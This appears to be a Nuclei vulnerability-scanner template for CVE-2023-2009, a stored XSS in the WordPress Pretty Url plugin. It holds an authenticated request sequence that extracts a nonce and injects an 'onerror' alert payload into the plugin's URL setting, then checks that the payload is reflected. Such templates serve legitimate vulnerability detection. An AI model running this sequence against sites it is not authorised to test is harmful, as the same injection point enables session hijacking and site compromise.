57 lines
1.8 KiB
YAML
57 lines
1.8 KiB
YAML
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id: CVE-2023-2009
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info:
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name: Pretty Url <= 1.5.4 - Cross-Site Scripting
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author: r3Y3r53
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severity: medium
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description: |
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Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
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reference:
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- https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f
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- https://nvd.nist.gov/vuln/detail/CVE-2023-2009
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- https://wordpress.org/plugins/pretty-url/
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metadata:
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verified: true
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max-request: 3
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tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss
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http:
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- raw:
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- |
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POST /wp-login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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log=((username))&pwd={{password}}&wp-submit=Log+In
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- |
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GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=
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redirects: true
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- 'status_code_3 == 200'
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- 'contains(body_3, "<img src=x onerror=alert(document.domain)>")'
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- 'contains(body_3, "prettyurls")'
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condition: and
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extractors:
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- type: regex
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internal: true
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name: nonce
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part: body
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group: 1
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regex:
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- 'name="_wpnonce" value="([0-9a-z]+)" />'
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